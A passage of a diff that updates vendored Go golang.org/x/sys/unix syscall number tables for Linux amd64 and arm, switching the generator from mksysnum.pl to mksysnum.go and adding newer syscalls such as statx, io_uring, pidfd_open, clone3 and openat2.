-+ SYS_TIMERFD_SETTIME64 = 411
-+ SYS_UTIMENSAT_TIME64 = 412
-+ SYS_PSELECT6_TIME64 = 413
-+ SYS_PPOLL_TIME64 = 414
-+ SYS_IO_PGETEVENTS_TIME64 = 416
-+ SYS_RECVMMSG_TIME64 = 417
-+ SYS_MQ_TIMEDSEND_TIME64 = 418
-+ SYS_MQ_TIMEDRECEIVE_TIME64 = 419
-+ SYS_SEMTIMEDOP_TIME64 = 420
-+ SYS_RT_SIGTIMEDWAIT_TIME64 = 421
-+ SYS_FUTEX_TIME64 = 422
-+ SYS_SCHED_RR_GET_INTERVAL_TIME64 = 423
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_CLONE3 = 435
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_amd64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_amd64.go
-index 49bfa127..054a741b 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_amd64.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include -m64 /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include -m64 /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,linux
-@@ -338,4 +338,21 @@ const (
- SYS_PKEY_MPROTECT = 329
- SYS_PKEY_ALLOC = 330
- SYS_PKEY_FREE = 331
-+ SYS_STATX = 332
-+ SYS_IO_PGETEVENTS = 333
-+ SYS_RSEQ = 334
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_CLONE3 = 435
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_arm.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_arm.go
-index 97b182ef..307f2ba1 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_arm.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,linux
-@@ -6,356 +6,395 @@
- package unix
-
- const (
-- SYS_RESTART_SYSCALL = 0
-- SYS_EXIT = 1
-- SYS_FORK = 2
-- SYS_READ = 3
-- SYS_WRITE = 4
-- SYS_OPEN = 5
-- SYS_CLOSE = 6
-- SYS_CREAT = 8
-- SYS_LINK = 9
-- SYS_UNLINK = 10
-- SYS_EXECVE = 11
-- SYS_CHDIR = 12
-- SYS_MKNOD = 14
-- SYS_CHMOD = 15
-- SYS_LCHOWN = 16
-- SYS_LSEEK = 19
-- SYS_GETPID = 20
-- SYS_MOUNT = 21
-- SYS_SETUID = 23
-- SYS_GETUID = 24
-- SYS_PTRACE = 26
-- SYS_PAUSE = 29
-- SYS_ACCESS = 33
-- SYS_NICE = 34
-- SYS_SYNC = 36
-- SYS_KILL = 37
-- SYS_RENAME = 38
-- SYS_MKDIR = 39
-- SYS_RMDIR = 40
-- SYS_DUP = 41
-- SYS_PIPE = 42
-- SYS_TIMES = 43
-- SYS_BRK = 45
-- SYS_SETGID = 46
-- SYS_GETGID = 47
-- SYS_GETEUID = 49
-- SYS_GETEGID = 50
-- SYS_ACCT = 51
-- SYS_UMOUNT2 = 52
-- SYS_IOCTL = 54
-- SYS_FCNTL = 55
-- SYS_SETPGID = 57
-- SYS_UMASK = 60
-- SYS_CHROOT = 61
-- SYS_USTAT = 62
-- SYS_DUP2 = 63
-- SYS_GETPPID = 64
-- SYS_GETPGRP = 65
-- SYS_SETSID = 66
-- SYS_SIGACTION = 67
-- SYS_SETREUID = 70
-- SYS_SETREGID = 71
-- SYS_SIGSUSPEND = 72
-- SYS_SIGPENDING = 73
-- SYS_SETHOSTNAME = 74
-- SYS_SETRLIMIT = 75
-- SYS_GETRUSAGE = 77
-- SYS_GETTIMEOFDAY = 78
-- SYS_SETTIMEOFDAY = 79
-- SYS_GETGROUPS = 80
-- SYS_SETGROUPS = 81
-- SYS_SYMLINK = 83
-- SYS_READLINK = 85
-- SYS_USELIB = 86
-- SYS_SWAPON = 87
-- SYS_REBOOT = 88
-- SYS_MUNMAP = 91
-- SYS_TRUNCATE = 92
-- SYS_FTRUNCATE = 93
-- SYS_FCHMOD = 94
-- SYS_FCHOWN = 95
-- SYS_GETPRIORITY = 96
-- SYS_SETPRIORITY = 97
-- SYS_STATFS = 99
-- SYS_FSTATFS = 100
-- SYS_SYSLOG = 103
-- SYS_SETITIMER = 104
-- SYS_GETITIMER = 105
-- SYS_STAT = 106
-- SYS_LSTAT = 107
-- SYS_FSTAT = 108
-- SYS_VHANGUP = 111
-- SYS_WAIT4 = 114
-- SYS_SWAPOFF = 115
-- SYS_SYSINFO = 116
-- SYS_FSYNC = 118
-- SYS_SIGRETURN = 119
-- SYS_CLONE = 120
-- SYS_SETDOMAINNAME = 121
-- SYS_UNAME = 122
-- SYS_ADJTIMEX = 124
-- SYS_MPROTECT = 125
-- SYS_SIGPROCMASK = 126
-- SYS_INIT_MODULE = 128
-- SYS_DELETE_MODULE = 129
-- SYS_QUOTACTL = 131
-- SYS_GETPGID = 132
-- SYS_FCHDIR = 133
-- SYS_BDFLUSH = 134
-- SYS_SYSFS = 135
-- SYS_PERSONALITY = 136
-- SYS_SETFSUID = 138
-- SYS_SETFSGID = 139
-- SYS__LLSEEK = 140
-- SYS_GETDENTS = 141
-- SYS__NEWSELECT = 142
-- SYS_FLOCK = 143
-- SYS_MSYNC = 144
-- SYS_READV = 145
-- SYS_WRITEV = 146
-- SYS_GETSID = 147
-- SYS_FDATASYNC = 148
-- SYS__SYSCTL = 149
-- SYS_MLOCK = 150
-- SYS_MUNLOCK = 151
-- SYS_MLOCKALL = 152
-- SYS_MUNLOCKALL = 153
-- SYS_SCHED_SETPARAM = 154
-- SYS_SCHED_GETPARAM = 155
-- SYS_SCHED_SETSCHEDULER = 156
-- SYS_SCHED_GETSCHEDULER = 157
-- SYS_SCHED_YIELD = 158
-- SYS_SCHED_GET_PRIORITY_MAX = 159
-- SYS_SCHED_GET_PRIORITY_MIN = 160
-- SYS_SCHED_RR_GET_INTERVAL = 161
-- SYS_NANOSLEEP = 162
-- SYS_MREMAP = 163
-- SYS_SETRESUID = 164
-- SYS_GETRESUID = 165
-- SYS_POLL = 168
-- SYS_NFSSERVCTL = 169
-- SYS_SETRESGID = 170
-- SYS_GETRESGID = 171
-- SYS_PRCTL = 172
-- SYS_RT_SIGRETURN = 173
-- SYS_RT_SIGACTION = 174
-- SYS_RT_SIGPROCMASK = 175
-- SYS_RT_SIGPENDING = 176
-- SYS_RT_SIGTIMEDWAIT = 177
-- SYS_RT_SIGQUEUEINFO = 178
-- SYS_RT_SIGSUSPEND = 179
-- SYS_PREAD64 = 180
-- SYS_PWRITE64 = 181
-- SYS_CHOWN = 182
-- SYS_GETCWD = 183
-- SYS_CAPGET = 184
-- SYS_CAPSET = 185
-- SYS_SIGALTSTACK = 186
-- SYS_SENDFILE = 187
-- SYS_VFORK = 190
-- SYS_UGETRLIMIT = 191
-- SYS_MMAP2 = 192
-- SYS_TRUNCATE64 = 193
-- SYS_FTRUNCATE64 = 194
-- SYS_STAT64 = 195
-- SYS_LSTAT64 = 196
-- SYS_FSTAT64 = 197
-- SYS_LCHOWN32 = 198
-- SYS_GETUID32 = 199
-- SYS_GETGID32 = 200
-- SYS_GETEUID32 = 201
-- SYS_GETEGID32 = 202
-- SYS_SETREUID32 = 203
-- SYS_SETREGID32 = 204
-- SYS_GETGROUPS32 = 205
-- SYS_SETGROUPS32 = 206
-- SYS_FCHOWN32 = 207
-- SYS_SETRESUID32 = 208
-- SYS_GETRESUID32 = 209
-- SYS_SETRESGID32 = 210
-- SYS_GETRESGID32 = 211
-- SYS_CHOWN32 = 212
-- SYS_SETUID32 = 213
-- SYS_SETGID32 = 214
-- SYS_SETFSUID32 = 215
-- SYS_SETFSGID32 = 216
-- SYS_GETDENTS64 = 217
-- SYS_PIVOT_ROOT = 218
-- SYS_MINCORE = 219
-- SYS_MADVISE = 220
-- SYS_FCNTL64 = 221
-- SYS_GETTID = 224
-- SYS_READAHEAD = 225
-- SYS_SETXATTR = 226
-- SYS_LSETXATTR = 227
-- SYS_FSETXATTR = 228
-- SYS_GETXATTR = 229
-- SYS_LGETXATTR = 230
-- SYS_FGETXATTR = 231
-- SYS_LISTXATTR = 232
-- SYS_LLISTXATTR = 233
-- SYS_FLISTXATTR = 234
-- SYS_REMOVEXATTR = 235
-- SYS_LREMOVEXATTR = 236
-- SYS_FREMOVEXATTR = 237
-- SYS_TKILL = 238
-- SYS_SENDFILE64 = 239
-- SYS_FUTEX = 240
-- SYS_SCHED_SETAFFINITY = 241
-- SYS_SCHED_GETAFFINITY = 242
-- SYS_IO_SETUP = 243
-- SYS_IO_DESTROY = 244
-- SYS_IO_GETEVENTS = 245
-- SYS_IO_SUBMIT = 246
-- SYS_IO_CANCEL = 247
-- SYS_EXIT_GROUP = 248
-- SYS_LOOKUP_DCOOKIE = 249
-- SYS_EPOLL_CREATE = 250
-- SYS_EPOLL_CTL = 251
-- SYS_EPOLL_WAIT = 252
-- SYS_REMAP_FILE_PAGES = 253
-- SYS_SET_TID_ADDRESS = 256
-- SYS_TIMER_CREATE = 257
-- SYS_TIMER_SETTIME = 258
-- SYS_TIMER_GETTIME = 259
-- SYS_TIMER_GETOVERRUN = 260
-- SYS_TIMER_DELETE = 261
-- SYS_CLOCK_SETTIME = 262
-- SYS_CLOCK_GETTIME = 263
-- SYS_CLOCK_GETRES = 264
-- SYS_CLOCK_NANOSLEEP = 265
-- SYS_STATFS64 = 266
-- SYS_FSTATFS64 = 267
-- SYS_TGKILL = 268
-- SYS_UTIMES = 269
-- SYS_ARM_FADVISE64_64 = 270
-- SYS_PCICONFIG_IOBASE = 271
-- SYS_PCICONFIG_READ = 272
-- SYS_PCICONFIG_WRITE = 273
-- SYS_MQ_OPEN = 274
-- SYS_MQ_UNLINK = 275
-- SYS_MQ_TIMEDSEND = 276
-- SYS_MQ_TIMEDRECEIVE = 277
-- SYS_MQ_NOTIFY = 278
-- SYS_MQ_GETSETATTR = 279
-- SYS_WAITID = 280
-- SYS_SOCKET = 281
-- SYS_BIND = 282
-- SYS_CONNECT = 283
-- SYS_LISTEN = 284
-- SYS_ACCEPT = 285
-- SYS_GETSOCKNAME = 286
-- SYS_GETPEERNAME = 287
-- SYS_SOCKETPAIR = 288
-- SYS_SEND = 289
-- SYS_SENDTO = 290
-- SYS_RECV = 291
-- SYS_RECVFROM = 292
-- SYS_SHUTDOWN = 293
-- SYS_SETSOCKOPT = 294
-- SYS_GETSOCKOPT = 295
-- SYS_SENDMSG = 296
-- SYS_RECVMSG = 297
-- SYS_SEMOP = 298
-- SYS_SEMGET = 299
-- SYS_SEMCTL = 300
-- SYS_MSGSND = 301
-- SYS_MSGRCV = 302
-- SYS_MSGGET = 303
-- SYS_MSGCTL = 304
-- SYS_SHMAT = 305
-- SYS_SHMDT = 306
-- SYS_SHMGET = 307
-- SYS_SHMCTL = 308
-- SYS_ADD_KEY = 309
-- SYS_REQUEST_KEY = 310
-- SYS_KEYCTL = 311
-- SYS_SEMTIMEDOP = 312
-- SYS_VSERVER = 313
-- SYS_IOPRIO_SET = 314
-- SYS_IOPRIO_GET = 315
-- SYS_INOTIFY_INIT = 316
-- SYS_INOTIFY_ADD_WATCH = 317
-- SYS_INOTIFY_RM_WATCH = 318
-- SYS_MBIND = 319
-- SYS_GET_MEMPOLICY = 320
-- SYS_SET_MEMPOLICY = 321
-- SYS_OPENAT = 322
-- SYS_MKDIRAT = 323
-- SYS_MKNODAT = 324
-- SYS_FCHOWNAT = 325
-- SYS_FUTIMESAT = 326
-- SYS_FSTATAT64 = 327
-- SYS_UNLINKAT = 328
-- SYS_RENAMEAT = 329
-- SYS_LINKAT = 330
-- SYS_SYMLINKAT = 331
-- SYS_READLINKAT = 332
-- SYS_FCHMODAT = 333
-- SYS_FACCESSAT = 334
-- SYS_PSELECT6 = 335
-- SYS_PPOLL = 336
-- SYS_UNSHARE = 337
-- SYS_SET_ROBUST_LIST = 338
-- SYS_GET_ROBUST_LIST = 339
-- SYS_SPLICE = 340
-- SYS_ARM_SYNC_FILE_RANGE = 341
-- SYS_TEE = 342
-- SYS_VMSPLICE = 343
-- SYS_MOVE_PAGES = 344
-- SYS_GETCPU = 345
-- SYS_EPOLL_PWAIT = 346
-- SYS_KEXEC_LOAD = 347
-- SYS_UTIMENSAT = 348
-- SYS_SIGNALFD = 349
-- SYS_TIMERFD_CREATE = 350
-- SYS_EVENTFD = 351
-- SYS_FALLOCATE = 352
-- SYS_TIMERFD_SETTIME = 353
-- SYS_TIMERFD_GETTIME = 354
-- SYS_SIGNALFD4 = 355
-- SYS_EVENTFD2 = 356
-- SYS_EPOLL_CREATE1 = 357
-- SYS_DUP3 = 358
-- SYS_PIPE2 = 359
-- SYS_INOTIFY_INIT1 = 360
-- SYS_PREADV = 361
-- SYS_PWRITEV = 362
-- SYS_RT_TGSIGQUEUEINFO = 363
-- SYS_PERF_EVENT_OPEN = 364
-- SYS_RECVMMSG = 365
-- SYS_ACCEPT4 = 366
-- SYS_FANOTIFY_INIT = 367
-- SYS_FANOTIFY_MARK = 368
-- SYS_PRLIMIT64 = 369
-- SYS_NAME_TO_HANDLE_AT = 370
-- SYS_OPEN_BY_HANDLE_AT = 371
-- SYS_CLOCK_ADJTIME = 372
-- SYS_SYNCFS = 373
-- SYS_SENDMMSG = 374
-- SYS_SETNS = 375
-- SYS_PROCESS_VM_READV = 376
-- SYS_PROCESS_VM_WRITEV = 377
-- SYS_KCMP = 378
-- SYS_FINIT_MODULE = 379
-- SYS_SCHED_SETATTR = 380
-- SYS_SCHED_GETATTR = 381
-- SYS_RENAMEAT2 = 382
-- SYS_SECCOMP = 383
-- SYS_GETRANDOM = 384
-- SYS_MEMFD_CREATE = 385
-- SYS_BPF = 386
-- SYS_EXECVEAT = 387
-- SYS_USERFAULTFD = 388
-- SYS_MEMBARRIER = 389
-- SYS_MLOCK2 = 390
-- SYS_COPY_FILE_RANGE = 391
-- SYS_PREADV2 = 392
-- SYS_PWRITEV2 = 393
-- SYS_PKEY_MPROTECT = 394
-- SYS_PKEY_ALLOC = 395
-- SYS_PKEY_FREE = 396
-+ SYS_RESTART_SYSCALL = 0
-+ SYS_EXIT = 1
-+ SYS_FORK = 2
-+ SYS_READ = 3
-+ SYS_WRITE = 4
-+ SYS_OPEN = 5
-+ SYS_CLOSE = 6
-+ SYS_CREAT = 8
-+ SYS_LINK = 9
-+ SYS_UNLINK = 10
-+ SYS_EXECVE = 11
-+ SYS_CHDIR = 12
-+ SYS_MKNOD = 14
-+ SYS_CHMOD = 15
-+ SYS_LCHOWN = 16
-+ SYS_LSEEK = 19
-+ SYS_GETPID = 20
-+ SYS_MOUNT = 21
-+ SYS_SETUID = 23
-+ SYS_GETUID = 24
-+ SYS_PTRACE = 26
-+ SYS_PAUSE = 29
-+ SYS_ACCESS = 33
-+ SYS_NICE = 34
-+ SYS_SYNC = 36
-+ SYS_KILL = 37
-+ SYS_RENAME = 38
-+ SYS_MKDIR = 39
-+ SYS_RMDIR = 40
-+ SYS_DUP = 41
-+ SYS_PIPE = 42
-+ SYS_TIMES = 43
-+ SYS_BRK = 45
-+ SYS_SETGID = 46
-+ SYS_GETGID = 47
-+ SYS_GETEUID = 49
-+ SYS_GETEGID = 50
-+ SYS_ACCT = 51
-+ SYS_UMOUNT2 = 52
-+ SYS_IOCTL = 54
-+ SYS_FCNTL = 55
-+ SYS_SETPGID = 57
-+ SYS_UMASK = 60
-+ SYS_CHROOT = 61
-+ SYS_USTAT = 62
-+ SYS_DUP2 = 63
-+ SYS_GETPPID = 64
-+ SYS_GETPGRP = 65
-+ SYS_SETSID = 66
-+ SYS_SIGACTION = 67
-+ SYS_SETREUID = 70
-+ SYS_SETREGID = 71
-+ SYS_SIGSUSPEND = 72
-+ SYS_SIGPENDING = 73
-+ SYS_SETHOSTNAME = 74
-+ SYS_SETRLIMIT = 75
-+ SYS_GETRUSAGE = 77
-+ SYS_GETTIMEOFDAY = 78
-+ SYS_SETTIMEOFDAY = 79
-+ SYS_GETGROUPS = 80
-+ SYS_SETGROUPS = 81
-+ SYS_SYMLINK = 83
-+ SYS_READLINK = 85
-+ SYS_USELIB = 86
-+ SYS_SWAPON = 87
-+ SYS_REBOOT = 88
-+ SYS_MUNMAP = 91
-+ SYS_TRUNCATE = 92
-+ SYS_FTRUNCATE = 93
-+ SYS_FCHMOD = 94
-+ SYS_FCHOWN = 95
-+ SYS_GETPRIORITY = 96
-+ SYS_SETPRIORITY = 97
-+ SYS_STATFS = 99
-+ SYS_FSTATFS = 100
-+ SYS_SYSLOG = 103
-+ SYS_SETITIMER = 104
-+ SYS_GETITIMER = 105
-+ SYS_STAT = 106
-+ SYS_LSTAT = 107
-+ SYS_FSTAT = 108
-+ SYS_VHANGUP = 111
-+ SYS_WAIT4 = 114
-+ SYS_SWAPOFF = 115
-+ SYS_SYSINFO = 116
-+ SYS_FSYNC = 118
-+ SYS_SIGRETURN = 119
-+ SYS_CLONE = 120
-+ SYS_SETDOMAINNAME = 121
-+ SYS_UNAME = 122
-+ SYS_ADJTIMEX = 124
-+ SYS_MPROTECT = 125
-+ SYS_SIGPROCMASK = 126
-+ SYS_INIT_MODULE = 128
-+ SYS_DELETE_MODULE = 129
-+ SYS_QUOTACTL = 131
-+ SYS_GETPGID = 132
-+ SYS_FCHDIR = 133
-+ SYS_BDFLUSH = 134
-+ SYS_SYSFS = 135
-+ SYS_PERSONALITY = 136
-+ SYS_SETFSUID = 138
-+ SYS_SETFSGID = 139
-+ SYS__LLSEEK = 140
-+ SYS_GETDENTS = 141
-+ SYS__NEWSELECT = 142
-+ SYS_FLOCK = 143
-+ SYS_MSYNC = 144
-+ SYS_READV = 145
-+ SYS_WRITEV = 146
-+ SYS_GETSID = 147
-+ SYS_FDATASYNC = 148
-+ SYS__SYSCTL = 149
-+ SYS_MLOCK = 150
-+ SYS_MUNLOCK = 151
-+ SYS_MLOCKALL = 152
-+ SYS_MUNLOCKALL = 153
-+ SYS_SCHED_SETPARAM = 154
-+ SYS_SCHED_GETPARAM = 155
-+ SYS_SCHED_SETSCHEDULER = 156
-+ SYS_SCHED_GETSCHEDULER = 157
-+ SYS_SCHED_YIELD = 158
-+ SYS_SCHED_GET_PRIORITY_MAX = 159
-+ SYS_SCHED_GET_PRIORITY_MIN = 160
-+ SYS_SCHED_RR_GET_INTERVAL = 161
-+ SYS_NANOSLEEP = 162
-+ SYS_MREMAP = 163
-+ SYS_SETRESUID = 164
-+ SYS_GETRESUID = 165
-+ SYS_POLL = 168
-+ SYS_NFSSERVCTL = 169
-+ SYS_SETRESGID = 170
-+ SYS_GETRESGID = 171
-+ SYS_PRCTL = 172
-+ SYS_RT_SIGRETURN = 173
-+ SYS_RT_SIGACTION = 174
-+ SYS_RT_SIGPROCMASK = 175
-+ SYS_RT_SIGPENDING = 176
-+ SYS_RT_SIGTIMEDWAIT = 177
-+ SYS_RT_SIGQUEUEINFO = 178
-+ SYS_RT_SIGSUSPEND = 179
-+ SYS_PREAD64 = 180
-+ SYS_PWRITE64 = 181
-+ SYS_CHOWN = 182
-+ SYS_GETCWD = 183
-+ SYS_CAPGET = 184
-+ SYS_CAPSET = 185
-+ SYS_SIGALTSTACK = 186
-+ SYS_SENDFILE = 187
-+ SYS_VFORK = 190
-+ SYS_UGETRLIMIT = 191
-+ SYS_MMAP2 = 192
-+ SYS_TRUNCATE64 = 193
-+ SYS_FTRUNCATE64 = 194
-+ SYS_STAT64 = 195
-+ SYS_LSTAT64 = 196
-+ SYS_FSTAT64 = 197
-+ SYS_LCHOWN32 = 198
-+ SYS_GETUID32 = 199
-+ SYS_GETGID32 = 200
-+ SYS_GETEUID32 = 201
-+ SYS_GETEGID32 = 202
-+ SYS_SETREUID32 = 203
-+ SYS_SETREGID32 = 204
-+ SYS_GETGROUPS32 = 205
-+ SYS_SETGROUPS32 = 206
-+ SYS_FCHOWN32 = 207
-+ SYS_SETRESUID32 = 208
-+ SYS_GETRESUID32 = 209
-+ SYS_SETRESGID32 = 210
-+ SYS_GETRESGID32 = 211
-+ SYS_CHOWN32 = 212
-+ SYS_SETUID32 = 213
-+ SYS_SETGID32 = 214
-+ SYS_SETFSUID32 = 215
-+ SYS_SETFSGID32 = 216
-+ SYS_GETDENTS64 = 217
-+ SYS_PIVOT_ROOT = 218
-+ SYS_MINCORE = 219
-+ SYS_MADVISE = 220
-+ SYS_FCNTL64 = 221
-+ SYS_GETTID = 224
-+ SYS_READAHEAD = 225
-+ SYS_SETXATTR = 226
-+ SYS_LSETXATTR = 227
-+ SYS_FSETXATTR = 228
-+ SYS_GETXATTR = 229
-+ SYS_LGETXATTR = 230
-+ SYS_FGETXATTR = 231
-+ SYS_LISTXATTR = 232
-+ SYS_LLISTXATTR = 233
-+ SYS_FLISTXATTR = 234
-+ SYS_REMOVEXATTR = 235
-+ SYS_LREMOVEXATTR = 236
-+ SYS_FREMOVEXATTR = 237
-+ SYS_TKILL = 238
-+ SYS_SENDFILE64 = 239
-+ SYS_FUTEX = 240
-+ SYS_SCHED_SETAFFINITY = 241
-+ SYS_SCHED_GETAFFINITY = 242
-+ SYS_IO_SETUP = 243
-+ SYS_IO_DESTROY = 244
-+ SYS_IO_GETEVENTS = 245
-+ SYS_IO_SUBMIT = 246
-+ SYS_IO_CANCEL = 247
-+ SYS_EXIT_GROUP = 248
-+ SYS_LOOKUP_DCOOKIE = 249
-+ SYS_EPOLL_CREATE = 250
-+ SYS_EPOLL_CTL = 251
-+ SYS_EPOLL_WAIT = 252
-+ SYS_REMAP_FILE_PAGES = 253
-+ SYS_SET_TID_ADDRESS = 256
-+ SYS_TIMER_CREATE = 257
-+ SYS_TIMER_SETTIME = 258
-+ SYS_TIMER_GETTIME = 259
-+ SYS_TIMER_GETOVERRUN = 260
-+ SYS_TIMER_DELETE = 261
-+ SYS_CLOCK_SETTIME = 262
-+ SYS_CLOCK_GETTIME = 263
-+ SYS_CLOCK_GETRES = 264
-+ SYS_CLOCK_NANOSLEEP = 265
-+ SYS_STATFS64 = 266
-+ SYS_FSTATFS64 = 267
-+ SYS_TGKILL = 268
-+ SYS_UTIMES = 269
-+ SYS_ARM_FADVISE64_64 = 270
-+ SYS_PCICONFIG_IOBASE = 271
-+ SYS_PCICONFIG_READ = 272
-+ SYS_PCICONFIG_WRITE = 273
-+ SYS_MQ_OPEN = 274
-+ SYS_MQ_UNLINK = 275
-+ SYS_MQ_TIMEDSEND = 276
-+ SYS_MQ_TIMEDRECEIVE = 277
-+ SYS_MQ_NOTIFY = 278
-+ SYS_MQ_GETSETATTR = 279
-+ SYS_WAITID = 280
-+ SYS_SOCKET = 281
-+ SYS_BIND = 282
-+ SYS_CONNECT = 283
-+ SYS_LISTEN = 284
-+ SYS_ACCEPT = 285
-+ SYS_GETSOCKNAME = 286
-+ SYS_GETPEERNAME = 287
-+ SYS_SOCKETPAIR = 288
-+ SYS_SEND = 289
-+ SYS_SENDTO = 290
-+ SYS_RECV = 291
-+ SYS_RECVFROM = 292
-+ SYS_SHUTDOWN = 293
-+ SYS_SETSOCKOPT = 294
-+ SYS_GETSOCKOPT = 295
-+ SYS_SENDMSG = 296
-+ SYS_RECVMSG = 297
-+ SYS_SEMOP = 298
-+ SYS_SEMGET = 299
-+ SYS_SEMCTL = 300
-+ SYS_MSGSND = 301
-+ SYS_MSGRCV = 302
-+ SYS_MSGGET = 303
-+ SYS_MSGCTL = 304
-+ SYS_SHMAT = 305
-+ SYS_SHMDT = 306
-+ SYS_SHMGET = 307
-+ SYS_SHMCTL = 308
-+ SYS_ADD_KEY = 309
-+ SYS_REQUEST_KEY = 310
-+ SYS_KEYCTL = 311
-+ SYS_SEMTIMEDOP = 312
-+ SYS_VSERVER = 313
-+ SYS_IOPRIO_SET = 314
-+ SYS_IOPRIO_GET = 315
-+ SYS_INOTIFY_INIT = 316
-+ SYS_INOTIFY_ADD_WATCH = 317
-+ SYS_INOTIFY_RM_WATCH = 318
-+ SYS_MBIND = 319
-+ SYS_GET_MEMPOLICY = 320
-+ SYS_SET_MEMPOLICY = 321
-+ SYS_OPENAT = 322
-+ SYS_MKDIRAT = 323
-+ SYS_MKNODAT = 324
-+ SYS_FCHOWNAT = 325
-+ SYS_FUTIMESAT = 326
-+ SYS_FSTATAT64 = 327
-+ SYS_UNLINKAT = 328
-+ SYS_RENAMEAT = 329
-+ SYS_LINKAT = 330
-+ SYS_SYMLINKAT = 331
-+ SYS_READLINKAT = 332
-+ SYS_FCHMODAT = 333
-+ SYS_FACCESSAT = 334
-+ SYS_PSELECT6 = 335
-+ SYS_PPOLL = 336
-+ SYS_UNSHARE = 337
-+ SYS_SET_ROBUST_LIST = 338
-+ SYS_GET_ROBUST_LIST = 339
-+ SYS_SPLICE = 340
-+ SYS_ARM_SYNC_FILE_RANGE = 341
-+ SYS_TEE = 342
-+ SYS_VMSPLICE = 343
-+ SYS_MOVE_PAGES = 344
-+ SYS_GETCPU = 345
-+ SYS_EPOLL_PWAIT = 346
-+ SYS_KEXEC_LOAD = 347
-+ SYS_UTIMENSAT = 348
-+ SYS_SIGNALFD = 349
-+ SYS_TIMERFD_CREATE = 350
-+ SYS_EVENTFD = 351
-+ SYS_FALLOCATE = 352
-+ SYS_TIMERFD_SETTIME = 353
-+ SYS_TIMERFD_GETTIME = 354
-+ SYS_SIGNALFD4 = 355
-+ SYS_EVENTFD2 = 356
-+ SYS_EPOLL_CREATE1 = 357
-+ SYS_DUP3 = 358
-+ SYS_PIPE2 = 359
-+ SYS_INOTIFY_INIT1 = 360
-+ SYS_PREADV = 361
-+ SYS_PWRITEV = 362
-+ SYS_RT_TGSIGQUEUEINFO = 363
-+ SYS_PERF_EVENT_OPEN = 364
-+ SYS_RECVMMSG = 365
-+ SYS_ACCEPT4 = 366
-+ SYS_FANOTIFY_INIT = 367
-+ SYS_FANOTIFY_MARK = 368
-+ SYS_PRLIMIT64 = 369
-+ SYS_NAME_TO_HANDLE_AT = 370
-+ SYS_OPEN_BY_HANDLE_AT = 371
-+ SYS_CLOCK_ADJTIME = 372
-+ SYS_SYNCFS = 373
-+ SYS_SENDMMSG = 374
-+ SYS_SETNS = 375
-+ SYS_PROCESS_VM_READV = 376
-+ SYS_PROCESS_VM_WRITEV = 377
-+ SYS_KCMP = 378
-+ SYS_FINIT_MODULE = 379
-+ SYS_SCHED_SETATTR = 380
-+ SYS_SCHED_GETATTR = 381
-+ SYS_RENAMEAT2 = 382
-+ SYS_SECCOMP = 383
-+ SYS_GETRANDOM = 384
-+ SYS_MEMFD_CREATE = 385
-+ SYS_BPF = 386
-+ SYS_EXECVEAT = 387
-+ SYS_USERFAULTFD = 388
-+ SYS_MEMBARRIER = 389
-+ SYS_MLOCK2 = 390
-+ SYS_COPY_FILE_RANGE = 391
-+ SYS_PREADV2 = 392
-+ SYS_PWRITEV2 = 393
-+ SYS_PKEY_MPROTECT = 394
-+ SYS_PKEY_ALLOC = 395
-+ SYS_PKEY_FREE = 396
-+ SYS_STATX = 397
-+ SYS_RSEQ = 398
-+ SYS_IO_PGETEVENTS = 399
-+ SYS_MIGRATE_PAGES = 400
-+ SYS_KEXEC_FILE_LOAD = 401
-+ SYS_CLOCK_GETTIME64 = 403
-+ SYS_CLOCK_SETTIME64 = 404
-+ SYS_CLOCK_ADJTIME64 = 405
-+ SYS_CLOCK_GETRES_TIME64 = 406
-+ SYS_CLOCK_NANOSLEEP_TIME64 = 407
-+ SYS_TIMER_GETTIME64 = 408
-+ SYS_TIMER_SETTIME64 = 409
-+ SYS_TIMERFD_GETTIME64 = 410
-+ SYS_TIMERFD_SETTIME64 = 411
-+ SYS_UTIMENSAT_TIME64 = 412
-+ SYS_PSELECT6_TIME64 = 413
-+ SYS_PPOLL_TIME64 = 414
-+ SYS_IO_PGETEVENTS_TIME64 = 416
-+ SYS_RECVMMSG_TIME64 = 417
-+ SYS_MQ_TIMEDSEND_TIME64 = 418
-+ SYS_MQ_TIMEDRECEIVE_TIME64 = 419
-+ SYS_SEMTIMEDOP_TIME64 = 420
-+ SYS_RT_SIGTIMEDWAIT_TIME64 = 421
-+ SYS_FUTEX_TIME64 = 422
-+ SYS_SCHED_RR_GET_INTERVAL_TIME64 = 423
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
